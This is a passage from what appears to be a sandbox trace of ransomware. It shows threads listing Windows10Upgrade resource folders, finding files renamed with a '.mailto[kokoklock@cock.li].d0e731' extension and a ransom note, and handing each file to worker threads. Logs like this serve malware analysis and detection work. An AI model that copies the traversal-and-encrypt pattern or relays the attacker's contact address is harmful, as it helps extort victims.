(_String1="PartnerSetupComplete.cmd", _String2=".") returned 1 [0168.159] wcscmp (_String1="PartnerSetupComplete.cmd", _String2="..") returned 1 [0168.159] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0168.159] wcscmp (_String1="preoobe.cmd", _String2=".") returned 1 [0168.159] wcscmp (_String1="preoobe.cmd", _String2="..") returned 1 [0168.159] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0168.159] wcscmp (_String1="SetupComplete.cmd", _String2=".") returned 1 [0168.159] wcscmp (_String1="SetupComplete.cmd", _String2="..") returned 1 [0168.159] FindNextFileW (in: hFindFile=0x2fe3f48, lpFindFileData=0x2fe2110 | out: lpFindFileData=0x2fe2110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0168.159] FindClose (in: hFindFile=0x2fe3f48 | out: hFindFile=0x2fe3f48) returned 1 [0168.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0168.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30131d8) returned 1 [0168.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30132f0) returned 1 [0168.160] RtlExitUserThread (Status=0x0) Thread: id = 1693 os_tid = 0xd84 [0168.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f71128 [0168.432] wcscpy (in: _Dest=0x2f71128, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.432] wcscat (in: _Dest=0x2f71128, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.433] wcscat (in: _Dest=0x2f71128, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\*") returned="C:\\Windows10Upgrade\\resources\\amd64\\*" [0168.433] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1508 [0168.433] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x874265d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x874265d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80520 [0168.461] wcscmp (_String1=".", _String2=".") returned 0 [0168.461] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x874265d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x874265d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.461] wcscmp (_String1="..", _String2=".") returned 1 [0168.461] wcscmp (_String1="..", _String2="..") returned 0 [0168.461] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39b5b0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39b5b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x873679c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BIOSBL~1.D0E")) returned 1 [0168.461] wcscmp (_String1="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.461] wcscmp (_String1="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.461] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e760 [0168.461] wcscpy (in: _Dest=0x2f6e760, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.461] wcscat (in: _Dest=0x2f6e760, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.461] wcscat (in: _Dest=0x2f6e760, _Source="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" [0168.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0168.984] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873679c0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x873679c0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873679c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.984] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.985] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.985] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39c8ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39c8ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x873b407c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11e6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWCOMP~1.D0E")) returned 1 [0168.985] wcscmp (_String1="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.985] wcscmp (_String1="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f92000 [0168.985] wcscpy (in: _Dest=0x2f92000, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.985] wcscat (in: _Dest=0x2f92000, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.985] wcscat (in: _Dest=0x2f92000, _Source="hwcompat.txt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" [0168.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0168.985] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39dcc9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39dcc9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x873da15e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWEXCL~1.D0E")) returned 1 [0168.986] wcscmp (_String1="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.986] wcscmp (_String1="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f920b0 [0168.986] wcscpy (in: _Dest=0x2f920b0, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.986] wcscat (in: _Dest=0x2f920b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.986] wcscat (in: _Dest=0x2f920b0, _Source="hwexclude.txt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" [0168.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f920b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0168.986] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39eff9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39eff9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x87400291, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2776, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.cat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NXQUER~1.D0E")) returned 1 [0168.986] wcscmp (_String1="nxquery.cat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.987] wcscmp (_String1="nxquery.cat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90b60 [0168.987] wcscpy (in: _Dest=0x2f90b60, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.987] wcscat (in: _Dest=0x2f90b60, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.987] wcscat (in: _Dest=0x2f90b60, _Source="nxquery.cat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.mailto[kokoklock@cock.li].d0e731" [0168.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0168.987] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a3e27, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a3e27, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x874265d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x697, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.inf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NXQUER~2.D0E")) returned 1 [0168.987] wcscmp (_String1="nxquery.inf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.987] wcscmp (_String1="nxquery.inf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90c10 [0168.988] wcscpy (in: _Dest=0x2f90c10, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0168.988] wcscat (in: _Dest=0x2f90c10, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0168.988] wcscat (in: _Dest=0x2f90c10, _Source="nxquery.inf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.mailto[kokoklock@cock.li].d0e731" [0168.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0168.988] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0168.988] wcscmp (_String1="NXQuery.sys", _String2=".") returned 1 [0168.988] wcscmp (_String1="NXQuery.sys", _String2="..") returned 1 [0168.988] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x2fe1508 | out: lpFindFileData=0x2fe1508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXQuery.sys", cAlternateFileName="")) returned 0 [0168.989] FindClose (in: hFindFile=0x2f80520 | out: hFindFile=0x2f80520) returned 1 [0168.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1508) returned 1 [0168.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71128) returned 1 [0168.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72ac8) returned 1 [0168.989] RtlExitUserThread (Status=0x0) Thread: id = 1694 os_tid = 0xd80 [0168.462] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.463] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.463] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.463] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.463] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e3f0) returned 1 [0168.463] RtlExitUserThread (Status=0x0) Thread: id = 1695 os_tid = 0xd30 [0168.464] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f63f28 [0168.464] wcscpy (in: _Dest=0x2f63f28, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.464] wcscat (in: _Dest=0x2f63f28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.464] wcscat (in: _Dest=0x2f63f28, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\*") returned="C:\\Windows10Upgrade\\resources\\i386\\*" [0168.464] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1770 [0168.464] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x873418e1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873418e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fca0 [0168.466] wcscmp (_String1=".", _String2=".") returned 0 [0168.466] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x873418e1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873418e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.466] wcscmp (_String1="..", _String2=".") returned 1 [0168.466] wcscmp (_String1="..", _String2="..") returned 0 [0168.466] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ab347, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ab347, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8723671d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x166c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BIOSBL~1.D0E")) returned 1 [0168.466] wcscmp (_String1="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.466] wcscmp (_String1="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.466] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e810 [0168.466] wcscpy (in: _Dest=0x2f6e810, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.466] wcscat (in: _Dest=0x2f6e810, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.466] wcscat (in: _Dest=0x2f6e810, _Source="BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.mailto[kokoklock@cock.li].d0e731" [0168.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0168.977] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8723671d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8723671d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8725c9ff, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.977] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.977] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.977] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ac6e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ac6e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x87282b46, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4131, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWCOMP~1.D0E")) returned 1 [0168.977] wcscmp (_String1="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.977] wcscmp (_String1="hwcompat.txt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91b30 [0168.978] wcscpy (in: _Dest=0x2f91b30, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.978] wcscat (in: _Dest=0x2f91b30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.978] wcscat (in: _Dest=0x2f91b30, _Source="hwcompat.txt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" [0168.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0168.978] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ada69, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ada69, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x872cf195, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWEXCL~1.D0E")) returned 1 [0168.978] wcscmp (_String1="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.979] wcscmp (_String1="hwexclude.txt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91be0 [0168.979] wcscpy (in: _Dest=0x2f91be0, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.979] wcscat (in: _Dest=0x2f91be0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.979] wcscat (in: _Dest=0x2f91be0, _Source="hwexclude.txt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" [0168.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0168.979] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3aedef, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3aedef, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x872f52e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2744, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.cat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NXQUER~1.D0E")) returned 1 [0168.979] wcscmp (_String1="nxquery.cat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.979] wcscmp (_String1="nxquery.cat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.979] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee2e8 [0168.979] wcscpy (in: _Dest=0x2fee2e8, _Source="C:\\Windows10Upgrade\\resources\\i386" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386") returned="C:\\Windows10Upgrade\\resources\\i386" [0168.980] wcscat (in: _Dest=0x2fee2e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\i386\\") returned="C:\\Windows10Upgrade\\resources\\i386\\" [0168.980] wcscat (in: _Dest=0x2fee2e8, _Source="nxquery.cat.mailto[kokoklock@cock.li].d0e731" | out: 